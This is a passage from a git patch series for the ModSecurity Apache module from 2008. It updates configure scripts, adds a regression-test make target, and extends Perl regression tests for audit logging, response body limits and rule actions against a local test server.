(100%) rename apache2/t/regression/config/{00-debug-directives.t => 10-debug-directives.t} (100%) create mode 100644 apache2/t/regression/config/10-misc-directives.t diff --git a/apache2/configure b/apache2/configure index 8f72816f..040385ef 100755 --- a/apache2/configure +++ b/apache2/configure @@ -684,6 +684,11 @@ APXS_LIBS APXS_CFLAGS APXS_LIBTOOL APXS_CC +APXS_LIBDIR +APXS_BINDIR +APXS_SBINDIR +APXS_PROGNAME +APXS_HTTPD PCRE_LIBS PCRE_CFLAGS APR_LIBS @@ -5071,6 +5076,14 @@ rm -f conftest* fi APXS_LIBTOOL="`$APXS -q LIBTOOL`" APXS_CC="`$APXS -q CC`" + APXS_BINDIR="`$APXS -q BINDIR`" + APXS_SBINDIR="`$APXS -q SBINDIR`" + APXS_PROGNAME="`$APXS -q PROGNAME`" + if test "$APXS_SBINDIR" = "/"; then + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + else + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + fi else { { echo "$as_me:$LINENO: error: couldn't find APXS" >&5 echo "$as_me: error: couldn't find APXS" >&2;} @@ -5287,6 +5300,11 @@ LDFLAGS="$APXS_LDFLAGS $LDFLAGS" + + + + + # Check whether --with-pcre was given. @@ -6438,6 +6456,11 @@ APXS_LIBS!$APXS_LIBS$ac_delim APXS_CFLAGS!$APXS_CFLAGS$ac_delim APXS_LIBTOOL!$APXS_LIBTOOL$ac_delim APXS_CC!$APXS_CC$ac_delim +APXS_LIBDIR!$APXS_LIBDIR$ac_delim +APXS_BINDIR!$APXS_BINDIR$ac_delim +APXS_SBINDIR!$APXS_SBINDIR$ac_delim +APXS_PROGNAME!$APXS_PROGNAME$ac_delim +APXS_HTTPD!$APXS_HTTPD$ac_delim PCRE_LIBS!$PCRE_LIBS$ac_delim PCRE_CFLAGS!$PCRE_CFLAGS$ac_delim APR_LIBS!$APR_LIBS$ac_delim @@ -6457,7 +6480,7 @@ CURL_CFLAGS!$CURL_CFLAGS$ac_delim LTLIBOBJS!$LTLIBOBJS$ac_delim _ACEOF - if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 88; then + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 93; then break elif $ac_last_try; then { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 diff --git a/apache2/configure.in b/apache2/configure.in index 10c4d6ca..cea79e98 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -107,6 +107,14 @@ VERSION_OK fi APXS_LIBTOOL="`$APXS -q LIBTOOL`" APXS_CC="`$APXS -q CC`" + APXS_BINDIR="`$APXS -q BINDIR`" + APXS_SBINDIR="`$APXS -q SBINDIR`" + APXS_PROGNAME="`$APXS -q PROGNAME`" + if test "$APXS_SBINDIR" = "/"; then + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + else + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + fi else AC_MSG_ERROR(couldn't find APXS) fi @@ -263,6 +271,11 @@ AC_SUBST(APXS_LIBS) AC_SUBST(APXS_CFLAGS) AC_SUBST(APXS_LIBTOOL) AC_SUBST(APXS_CC) +AC_SUBST(APXS_LIBDIR) +AC_SUBST(APXS_BINDIR) +AC_SUBST(APXS_SBINDIR) +AC_SUBST(APXS_PROGNAME) +AC_SUBST(APXS_HTTPD) CHECK_PCRE() CHECK_APR() diff --git a/apache2/t/regression/config/00-audit-directives.t b/apache2/t/regression/config/10-audit-directives.t similarity index 100% rename from apache2/t/regression/config/00-audit-directives.t rename to apache2/t/regression/config/10-audit-directives.t diff --git a/apache2/t/regression/config/00-debug-directives.t b/apache2/t/regression/config/10-debug-directives.t similarity index 100% rename from apache2/t/regression/config/00-debug-directives.t rename to apache2/t/regression/config/10-debug-directives.t diff --git a/apache2/t/regression/config/10-misc-directives.t b/apache2/t/regression/config/10-misc-directives.t new file mode 100644 index 00000000..f2175d14 --- /dev/null +++ b/apache2/t/regression/config/10-misc-directives.t @@ -0,0 +1 @@ +### Misc directive tests diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 30582b68..166dd3e6 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -73,8 +73,8 @@ EOT usage() if ($opt{h}); -### Check startup script -$opt{a} = "httpd" unless (defined $opt{a}); +### Check httpd binary +$opt{a} = "@APXS_HTTPD@" unless (defined $opt{a}); usage("Invalid Apache startup script: $opt{a}\n") unless (-e $opt{a}); ### Defaults @@ -85,6 +85,11 @@ $opt{C} = "$CONF_DIR/httpd.conf" unless (defined $opt{C}); $opt{H} = "$SROOT_DIR/htdocs" unless (defined $opt{H}); $opt{p} = 8088 unless (defined $opt{p}); +unless (defined $opt{S}) { + my $httpd_root = `$opt{a} -V`; + ($opt{S} = $httpd_root) =~ s/.*-D HTTPD_ROOT="([^"]*)".*/$1/sm; +} + %ENV = ( %ENV, SERVER_ROOT => $opt{S}, @@ -103,11 +108,6 @@ $opt{p} = 8088 unless (defined $opt{p}); USER_AGENT => $UA_NAME, ); -unless (defined $opt{S}) { - my $httpd_root = `$opt{a} -V`; - ($opt{S} = $httpd_root) =~ s/.*-D HTTPD_ROOT="([^"]*)".*/$1/sm; -} - dbg("OPTIONS: ", \%opt); if (-e "$PID_FILE") { From 7ad2766e7677b6392ef02aff008c467d935470bc Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Tue, 27 May 2008 23:52:16 +0000 Subject: [PATCH 032/110] Some more updates for regression testing. --- .../regression/action/00-disruptive-actions.t | 14 +- .../t/regression/config/10-audit-directives.t | 82 ++++++++++ .../t/regression/config/10-misc-directives.t | 48 ++++++ .../regression/config/10-request-directives.t | 11 +- .../config/10-response-directives.t | 145 ++++++++++++++++++ .../t/regression/server_root/htdocs/8k.txt | Bin 0 -> 8192 bytes apache2/t/run-regression-tests.pl.in | 51 ++++-- 7 files changed, 325 insertions(+), 26 deletions(-) create mode 100644 apache2/t/regression/config/10-response-directives.t create mode 100644 apache2/t/regression/server_root/htdocs/8k.txt diff --git a/apache2/t/regression/action/00-disruptive-actions.t b/apache2/t/regression/action/00-disruptive-actions.t index bc2521f0..0d13bd7a 100644 --- a/apache2/t/regression/action/00-disruptive-actions.t +++ b/apache2/t/regression/action/00-disruptive-actions.t @@ -1,4 +1,6 @@ -### Pass +### Tests all of the actions in each phase + +# Pass { type => "action", comment => "pass action in phase:1", @@ -72,7 +74,7 @@ ), }, -### Allow +# Allow { type => "action", comment => "allow action in phase:1", @@ -146,7 +148,7 @@ ), }, -### Deny +# Deny { type => "action", comment => "deny action in phase:1", @@ -216,7 +218,7 @@ ), }, -### Drop +# Drop { type => "action", comment => "drop action in phase:1", @@ -286,7 +288,7 @@ ), }, -### Redirect +# Redirect { type => "action", comment => "redirect action in phase:1 (get)", @@ -360,7 +362,7 @@ ), }, -### Proxy +# Proxy { type => "action", comment => "proxy action in phase:1 (get)", diff --git a/apache2/t/regression/config/10-audit-directives.t b/apache2/t/regression/config/10-audit-directives.t index e79c21f8..6769a6a9 100644 --- a/apache2/t/regression/config/10-audit-directives.t +++ b/apache2/t/regression/config/10-audit-directives.t @@ -1,4 +1,6 @@ ### SecAudit* directive tests + +# SecAuditEngine { type => "config", comment => "SecAuditEngine On", @@ -75,6 +77,84 @@ GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", ), }, + +# SecAuditLogType & SecAuditLogStorageDir +{ + type => "config", + comment => "SecAuditLogType Serial", + conf => qq( + SecAuditEngine On + SecAuditLog $ENV{AUDIT_LOG} + SecAuditLogType Serial + ), + match_log => { + audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^404$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/bogus", + ), +}, +{ + type => "config", + comment => "SecAuditLogType Concurrent", + conf => qq( + SecAuditEngine On + SecAuditLog $ENV{AUDIT_LOG} + SecAuditLogType Concurrent + SecAuditLogStorageDir "$ENV{LOGS_DIR}/audit" + ), + test => sub { + ### Perl code to parse the audit log entry and verify + ### that the concurrent audit log exists and contains + ### the correct data. + ### + ### TODO: Need some API for this :) + ### + + # Parse log + my $alogre = qr/^(?:\S+)\ (?:\S+)\ (?:\S+)\ (?:\S+)\ \[(?:[^:]+):(?:\d+:\d+:\d+)\ (?:[^\]]+)\]\ \"(?:.*)\"\ (?:\d+)\ (?:\S+)\ \"(?:.*)\"\ \"(?:.*)\"\ (\S+)\ \"(?:.*)\"\ (\S+)\ (?:\d+)\ (?:\d+)\ (?:\S+)(?:.*)$/m; + my $alog = match_log("audit", $alogre, 1); + chomp $alog; + my @log = ($alog =~ m/$alogre/); + my($id, $fn) = ($log[0], $log[1]); + if (!$id or !$fn) { + dbg("LOG ENTRY: $alog"); + die "Failed to parse audit log: $ENV{AUDIT_LOG}\n"; + } + + # Verify concurrent log exists + my $alogdatafn = "$ENV{LOGS_DIR}/audit$fn"; + if (! -e "$alogdatafn") { + die "Audit log does not exist: $alogdatafn\n"; + } + + # Verify concurrent log contents + $LOG{$id}{fd} = new FileHandle($alogdatafn, O_RDONLY); + $LOG{$id}{fd}->blocking(0); + $LOG{$id}{buf} = ""; + my $alogdata = match_log($id, qr/^--[^-]+-A--.*$id.*-Z--$/s, 1); + if (defined $alogdata) { + $LOG{$id}{fd}->close(); + delete $LOG{$id}; + return 0; + } + + # Error + dbg("LOGDATA: \"$alogdata\""); + die "Audit log data did not match.\n"; + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# SecAuditLogRelevantStatus { type => "config", comment => "SecAuditLogRelevantStatus (pos)", @@ -111,6 +191,8 @@ GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", ), }, + +# SecAuditLogParts { type => "config", comment => "SecAuditLogParts (minimal)", diff --git a/apache2/t/regression/config/10-misc-directives.t b/apache2/t/regression/config/10-misc-directives.t index f2175d14..1ceae18a 100644 --- a/apache2/t/regression/config/10-misc-directives.t +++ b/apache2/t/regression/config/10-misc-directives.t @@ -1 +1,49 @@ ### Misc directive tests + +### TODO: +# SecTmpDir +# SecUploadDir +# SecUploadKeepFiles +# SecWebAppId +# SecDataDir +# SecChrootDir +# SecGuardianLog + +# SecServerSignature +{ + type => "config", + comment => "SecServerSignature On", + conf => qq( + SecServerSignature "NewServerSignature" + ), + match_log => { + error => [ qr/NewServerSignature/, 1 ], + }, + match_response => { + status => qr/^200$/, + raw => qr/^Server: +NewServerSignature$/m, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# SecDefaultAction +{ + type => "config", + comment => "SecServerSignature On", + conf => qq( + SecRuleEngine on + SecDefaultAction "phase:1,deny,status:500" + SecRule REQUEST_URI "test.txt" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with code 500 \(phase 1\)/, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, diff --git a/apache2/t/regression/config/10-request-directives.t b/apache2/t/regression/config/10-request-directives.t index b951676d..97bd0cb8 100644 --- a/apache2/t/regression/config/10-request-directives.t +++ b/apache2/t/regression/config/10-request-directives.t @@ -1,5 +1,6 @@ +### Tests for directives altering how a request is handled -### SecArgumentSeparator +# SecArgumentSeparator { type => "config", comment => "SecArgumentSeparator (get-pos)", @@ -85,7 +86,7 @@ ), }, -### SecRequestBodyAccess +# SecRequestBodyAccess { type => "config", comment => "SecRequestBodyAccess (pos)", @@ -133,7 +134,7 @@ ), }, -### SecRequestBodyLimit +# SecRequestBodyLimit { type => "config", comment => "SecRequestBodyLimit (equal)", @@ -179,7 +180,7 @@ ), }, -### SecRequestBodyInMemoryLimit +# SecRequestBodyInMemoryLimit { type => "config", comment => "SecRequestBodyInMemoryLimit (equal)", @@ -249,7 +250,7 @@ Content-Disposition: form-data; name="b" -----------------------------69343412719991675451336310646--), 1024), }, -### SecCookieFormat +# SecCookieFormat { type => "config", comment => "SecCookieFormat (pos)", diff --git a/apache2/t/regression/config/10-response-directives.t b/apache2/t/regression/config/10-response-directives.t new file mode 100644 index 00000000..894b06ec --- /dev/null +++ b/apache2/t/regression/config/10-response-directives.t @@ -0,0 +1,145 @@ +### Tests for directives altering how a response is handled + +# SecResponseBodyAccess +{ + type => "config", + comment => "SecResponseBodyAccess (pos)", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule RESPONSE_BODY "TEST" "phase:4,deny" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 4\)\. Pattern match "TEST" at RESPONSE_BODY\./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecResponseBodyAccess (neg)", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess Off + SecResponseBodyMimeType null + SecRule RESPONSE_BODY "TEST" "phase:4,deny" + ), + match_log => { + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# SecResponseBodyLimit +{ + type => "config", + comment => "SecResponseBodyLimit (equal)", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecResponseBodyLimit 8192 + ), + match_log => { + -error => [ qr/Content-Length \(\d+\) over the limit/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/8k.txt", + ), +}, +{ + type => "config", + comment => "SecResponseBodyLimit (less)", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecResponseBodyLimit 9000 + ), + match_log => { + -error => [ qr/Content-Length \(\d+\) over the limit/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/8k.txt", + ), +}, +{ + type => "config", + comment => "SecResponseBodyLimit (greater)", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecResponseBodyLimit 8000 + ), + match_log => { + error => [ qr/Content-Length \(\d+\) over the limit \(8000\)\./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/8k.txt", + ), +}, + +# ResponseBodyLimitAction +{ + type => "config", + comment => "SecResponseBodyLimitAction Reject", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecResponseBodyLimit 5 + SecResponseBodyLimitAction Reject + ), + match_log => { + error => [ qr/Content-Length \(\d+\) over the limit \(5\)\./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/8k.txt", + ), +}, +{ + type => "config", + comment => "SecResponseBodyLimitAction ProcessPartial", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecResponseBodyLimit 5 + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 4 + SecResponseBodyLimitAction ProcessPartial + ), + match_log => { + -error => [ qr/Content-Length \(\d+\) over the limit/, 1 ], + debug => [ qr/Processing partial response body \(limit 5\)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/8k.txt", + ), +}, diff --git a/apache2/t/regression/server_root/htdocs/8k.txt b/apache2/t/regression/server_root/htdocs/8k.txt new file mode 100644 index 0000000000000000000000000000000000000000..6d17cf9d15fb9f4a2358a2d079f3b8c755d005fa GIT binary patch literal 8192 zcmeIu0Sy2E0K%a6Pi+o2h(KY$fB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM GyblZ@00031 literal 0 HcmV?d00001 diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 166dd3e6..8dc90db5 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -1,3 +1,4 @@ +#!/usr/bin/perl #!@PERL@ # # Run regression tests. @@ -29,6 +30,7 @@ my $SROOT_DIR = "$REG_DIR/server_root"; my $CONF_DIR = "$SROOT_DIR/conf"; my $LOGS_DIR = "$SROOT_DIR/logs"; my $PID_FILE = "$LOGS_DIR/httpd.pid"; +my $HTTPD = q(@APXS_HTTPD@); my $PASSED = 0; my $TOTAL = 0; my %C = (); @@ -37,6 +39,11 @@ my $UA_NAME = "ModSecurity Regression Tests/1.2.3"; my $UA = LWP::UserAgent->new; $UA->agent($UA_NAME); +# Hack for testing the script w/o configure +if ($HTTPD eq "\@APXS_HTTPD\@") { + $HTTPD = "/usr/local/apache2/bin/httpd"; +} + $SIG{TERM} = $SIG{INT} = \&handle_interrupt; my %opt; @@ -74,8 +81,13 @@ EOT usage() if ($opt{h}); ### Check httpd binary -$opt{a} = "@APXS_HTTPD@" unless (defined $opt{a}); -usage("Invalid Apache startup script: $opt{a}\n") unless (-e $opt{a}); +if (defined $opt{a}) { + $HTTPD = $opt{a}; +} +else { + $opt{a} = $HTTPD; +} +usage("Invalid Apache startup script: $HTTPD\n") unless (-e $HTTPD); ### Defaults $opt{A} = "$LOGS_DIR/modsec_audit.log" unless (defined $opt{A}); @@ -86,7 +98,7 @@ $opt{H} = "$SROOT_DIR/htdocs" unless (defined $opt{H}); $opt{p} = 8088 unless (defined $opt{p}); unless (defined $opt{S}) { - my $httpd_root = `$opt{a} -V`; + my $httpd_root = `$HTTPD -V`; ($opt{S} = $httpd_root) =~ s/.*-D HTTPD_ROOT="([^"]*)".*/$1/sm; } @@ -178,7 +190,8 @@ sub runfile { $CONF_DIR, $t{type}, $cfg, $n; # dbg("Writing test config to: $conf_fn"); open(CONF, ">$conf_fn") or die "Failed to open conf \"$conf_fn\": $!\n"; - print CONF (ref $t{conf} eq "CODE" ? &{$t{conf}} : $t{conf}); + print CONF (ref $t{conf} eq "CODE" ? eval { &{$t{conf}} } : $t{conf}); + msg("$@") if ($@); close CONF; $httpd_up = httpd_start("Include $conf_fn") ? 0 : 1; } @@ -223,15 +236,15 @@ sub runfile { } } } - else { - msg("Failed to start httpd."); - $rc = 1; - } # Run any arbitrary perl tests if ($rc == 0 and exists $t{test} and defined $t{test}) { dbg("Executing perl test(s)..."); - $rc = &{$t{test}}; + $rc = eval { &{$t{test}} }; + if (! defined $rc) { + msg("Error running test: $@"); + $rc = -1; + } dbg("Perl tests returned: $rc"); } @@ -257,6 +270,10 @@ sub runfile { } } } + else { + msg("Failed to start httpd."); + $rc = 1; + } if ($rc == 0) { $pass++; @@ -307,7 +324,8 @@ sub do_request { # Allow test to execute code if (ref $r eq "CODE") { - $r = &$r; + $r = eval { &$r }; + msg("$@") unless (defined $r); } if (ref $r eq "HTTP::Request") { @@ -334,13 +352,16 @@ sub match_response { elsif ($name eq "content") { return $& if ($resp->content =~ m/$re/m); } + elsif ($name eq "raw") { + return $& if ($resp->as_string =~ m/$re/m); + } return; } sub match_log { my($name, $re, $timeout) = @_; - my $t0 = gettimeofday(); + my $t0 = gettimeofday; my($fh,$rbuf) = ($LOG{$name}{fd}, \$LOG{$name}{buf}); my $n = length($$rbuf); @@ -350,7 +371,7 @@ sub match_log { do { $n += $fh->sysread($$rbuf, 1024, $n); -# dbg("Match \"$re\" in \"$$rbuf\" ($n)"); +# dbg("Match \"$re\" in $name \"$$rbuf\" ($n)"); return $& if ($$rbuf =~ m/$re/m); # TODO: Use select()/poll() sleep 0.1; @@ -413,7 +434,7 @@ sub done { sub httpd_start { httpd_reset_logs(); my @p = ( - $opt{a}, + $HTTPD, -d => $opt{S}, -f => $opt{C}, (map { (-c => $_) } ("Listen localhost:$opt{p}", @_)), @@ -459,7 +480,7 @@ sub httpd_start { sub httpd_stop { httpd_reset_logs(); my @p = ( - $opt{a}, + $HTTPD, -d => $opt{S}, -f => $opt{C}, (map { (-c => $_) } ("Listen localhost:$opt{p}", @_)), @@ -505,7 +526,7 @@ sub httpd_stop { sub httpd_reload { httpd_reset_logs(); my @p = ( - $opt{a}, + $HTTPD, -d => $opt{S}, -f => $opt{C}, (map { (-c => $_) } ("Listen localhost:$opt{p}", @_)), From 3e58e99be74e7c9ab22b7de298ccbbadf817e059 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Wed, 28 May 2008 00:02:22 +0000 Subject: [PATCH 033/110] Another small update to the regression tests. --- .../regression/action/00-disruptive-actions.t | 48 +++++++++---------- .../config/10-response-directives.t | 26 +++++++++- apache2/t/run-regression-tests.pl.in | 1 - 3 files changed, 49 insertions(+), 26 deletions(-) diff --git a/apache2/t/regression/action/00-disruptive-actions.t b/apache2/t/regression/action/00-disruptive-actions.t index 0d13bd7a..5987b57a 100644 --- a/apache2/t/regression/action/00-disruptive-actions.t +++ b/apache2/t/regression/action/00-disruptive-actions.t @@ -3,7 +3,7 @@ # Pass { type => "action", - comment => "pass action in phase:1", + comment => "pass in phase:1", conf => qq( SecRuleEngine On SecAction "phase:1,pass" @@ -21,7 +21,7 @@ }, { type => "action", - comment => "pass action in phase:2", + comment => "pass in phase:2", conf => qq( SecRuleEngine On SecAction "phase:2,pass" @@ -39,7 +39,7 @@ }, { type => "action", - comment => "pass action in phase:3", + comment => "pass in phase:3", conf => qq( SecRuleEngine On SecAction "phase:3,pass" @@ -57,7 +57,7 @@ }, { type => "action", - comment => "pass action in phase:4", + comment => "pass in phase:4", conf => qq( SecRuleEngine On SecAction "phase:4,pass" @@ -77,7 +77,7 @@ # Allow { type => "action", - comment => "allow action in phase:1", + comment => "allow in phase:1", conf => qq( SecRuleEngine On SecAction "phase:1,allow" @@ -95,7 +95,7 @@ }, { type => "action", - comment => "allow action in phase:2", + comment => "allow in phase:2", conf => qq( SecRuleEngine On SecAction "phase:2,allow" @@ -113,7 +113,7 @@ }, { type => "action", - comment => "allow action in phase:3", + comment => "allow in phase:3", conf => qq( SecRuleEngine On SecAction "phase:3,allow" @@ -131,7 +131,7 @@ }, { type => "action", - comment => "allow action in phase:4", + comment => "allow in phase:4", conf => qq( SecRuleEngine On SecAction "phase:4,allow" @@ -151,7 +151,7 @@ # Deny { type => "action", - comment => "deny action in phase:1", + comment => "deny in phase:1", conf => qq( SecRuleEngine On SecAction "phase:1,deny" @@ -168,7 +168,7 @@ }, { type => "action", - comment => "deny action in phase:2", + comment => "deny in phase:2", conf => qq( SecRuleEngine On SecAction "phase:2,deny" @@ -185,7 +185,7 @@ }, { type => "action", - comment => "deny action in phase:3", + comment => "deny in phase:3", conf => qq( SecRuleEngine On SecAction "phase:3,deny" @@ -202,7 +202,7 @@ }, { type => "action", - comment => "deny action in phase:4", + comment => "deny in phase:4", conf => qq( SecRuleEngine On SecAction "phase:4,deny" @@ -221,7 +221,7 @@ # Drop { type => "action", - comment => "drop action in phase:1", + comment => "drop in phase:1", conf => qq( SecRuleEngine On SecAction "phase:1,drop" @@ -238,7 +238,7 @@ }, { type => "action", - comment => "drop action in phase:2", + comment => "drop in phase:2", conf => qq( SecRuleEngine On SecAction "phase:2,drop" @@ -255,7 +255,7 @@ }, { type => "action", - comment => "drop action in phase:3", + comment => "drop in phase:3", conf => qq( SecRuleEngine On SecAction "phase:3,drop" @@ -272,7 +272,7 @@ }, { type => "action", - comment => "drop action in phase:4", + comment => "drop in phase:4", conf => qq( SecRuleEngine On SecAction "phase:4,drop" @@ -291,7 +291,7 @@ # Redirect { type => "action", - comment => "redirect action in phase:1 (get)", + comment => "redirect in phase:1 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" @@ -309,7 +309,7 @@ }, { type => "action", - comment => "redirect action in phase:2 (get)", + comment => "redirect in phase:2 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" @@ -327,7 +327,7 @@ }, { type => "action", - comment => "redirect action in phase:3 (get)", + comment => "redirect in phase:3 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" @@ -345,7 +345,7 @@ }, { type => "action", - comment => "redirect action in phase:4 (get)", + comment => "redirect in phase:4 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" @@ -365,7 +365,7 @@ # Proxy { type => "action", - comment => "proxy action in phase:1 (get)", + comment => "proxy in phase:1 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" @@ -383,7 +383,7 @@ }, { type => "action", - comment => "proxy action in phase:2 (get)", + comment => "proxy in phase:2 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" @@ -401,7 +401,7 @@ }, { type => "action", - comment => "proxy action in phase:3 (get)", + comment => "proxy in phase:3 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" @@ -418,7 +418,7 @@ }, { type => "action", - comment => "proxy action in phase:4 (get)", + comment => "proxy in phase:4 (get)", conf => qq( SecRuleEngine On SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" diff --git a/apache2/t/regression/config/10-response-directives.t b/apache2/t/regression/config/10-response-directives.t index 894b06ec..b43e6395 100644 --- a/apache2/t/regression/config/10-response-directives.t +++ b/apache2/t/regression/config/10-response-directives.t @@ -1,6 +1,30 @@ ### Tests for directives altering how a response is handled -# SecResponseBodyAccess +# SecResponseBodyMimeTypesClear +{ + type => "config", + comment => "SecResponseBodyMimeTypesClear", + conf => qq( + SecRuleEngine On + SecResponseBodyAccess On + SecResponseBodyMimeTypesClear + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule RESPONSE_BODY "TEST" "phase:4,deny" + ), + match_log => { + -error => [ qr/Access denied/, 1 ], + debug => [ qr/Not buffering response body for unconfigured MIME type/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# SecResponseBodyAccess & SecResponseBodyMimeType { type => "config", comment => "SecResponseBodyAccess (pos)", diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 8dc90db5..e3af3127 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -1,4 +1,3 @@ -#!/usr/bin/perl #!@PERL@ # # Run regression tests. From 8844813c916db319c77e0e8893f11db96fe5a642 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Wed, 28 May 2008 20:31:41 +0000 Subject: [PATCH 034/110] Some more updates/tweaks to the regression suite. Allow the ability to "make test-regression". --- apache2/Makefile.in | 5 +- apache2/configure | 91 +++++++++++++++++-- apache2/configure.in | 20 ++++ .../config/10-response-directives.t | 9 +- apache2/t/regression/rule/00-script.t | 54 +++++++++-- .../conf/{httpd.conf => httpd.conf.in} | 11 ++- .../t/regression/server_root/conf/match.lua | 14 +++ apache2/t/run-regression-tests.pl.in | 3 +- 8 files changed, 184 insertions(+), 23 deletions(-) rename apache2/t/regression/server_root/conf/{httpd.conf => httpd.conf.in} (53%) create mode 100644 apache2/t/regression/server_root/conf/match.lua diff --git a/apache2/Makefile.in b/apache2/Makefile.in index a63f5c5b..d732f0f9 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -127,4 +127,7 @@ test: t/run-unit-tests.pl msc_test @rm -f msc-test-debug.log; \ $(PERL) t/run-unit-tests.pl -.PHONY: all install clean-extras clean maintainer-clean distclean install-mods test +test-regression: t/run-regression-tests.pl + @$(PERL) t/run-regression-tests.pl + +.PHONY: all install clean-extras clean maintainer-clean distclean install-mods test test-regression diff --git a/apache2/configure b/apache2/configure index 040385ef..cc1071dd 100755 --- a/apache2/configure +++ b/apache2/configure @@ -671,6 +671,14 @@ PERL GREP EGREP LIBOBJS +MSC_BASE_DIR +MSC_PKGBASE_DIR +MSC_TEST_DIR +MSC_REGRESSION_DIR +MSC_REGRESSION_SERVERROOT_DIR +MSC_REGRESSION_CONF_DIR +MSC_REGRESSION_LOGS_DIR +MSC_REGRESSION_DOCROOT_DIR EXTRA_CFLAGS MODSEC_EXTRA_CFLAGS APXS @@ -4988,6 +4996,25 @@ fi done +# Some directories +MSC_BASE_DIR=`pwd` 